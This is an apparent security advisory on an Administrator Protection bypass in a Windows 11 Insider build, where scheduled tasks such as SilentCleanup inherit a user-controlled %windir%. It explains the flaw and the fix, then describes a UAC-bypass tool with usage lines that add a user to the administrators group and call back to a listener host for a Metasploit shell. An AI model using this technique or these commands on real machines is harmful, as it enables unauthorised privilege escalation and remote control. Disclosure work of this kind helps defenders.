[+] Summary : A privilege escalation vulnerability exists in Windows 11 Insider Preview (Build 10.0.27919.1000) 
			  due to improper handling of user‑controlled environment variables by the Unified Background Process Manager (UBPM) 
			  when launching elevatable scheduled tasks under Administrator Protection.
              When a scheduled task such as **SilentCleanup** is triggered, UBPM constructs 
			  the environment block using the **low-privileged user token**, 
			  even though the task later runs with the **elevated shadow administrator token**. 
			  This mismatch allows a normal user to hijack system environment variables such as **%windir%**, 
			  causing Windows to execute an arbitrary binary as the elevated administrator.
              As a result, a standard user can silently bypass Administrator Protection and achieve elevation of privilege.

[+] Fix recommendation: UBPM should construct the environment using the elevated token, not the caller’s token.

[+]  Affected Products : Windows 11 Insider Preview** (Build 10.0.27919.1000) with **Administrator Protection** enabled.

[+]  POC : 

          This is a Windows security testing tool designed to bypass User Account Control (UAC) through multiple techniques. 
          The tool combines core bypass functionality with Metasploit-style features and RPC server capabilities for comprehensive security testing.

Build Instructions:

- Requires Windows SDK 10+
- Link against: pathcch.lib, taskschd.lib, comsuppw.lib, rpcrt4.lib, advapi32.lib, wintrust.lib
- Unicode character set
- Multi-threaded runtime
- Compile as C++17 or later
- Security Considerations:
- Use only in controlled, authorized environments
- Obtain proper written permissions
- Document all usage for compliance
- Keep the tool updated with latest security patches

Usage Examples:

UACBypass.exe --payload C:\tools\payload.exe
UACBypass.exe --cmd "net localgroup administrators user /add"
UACBypass.exe --metasploit --payload payload.exe --lhost 192.168.1.100 --lport 4444
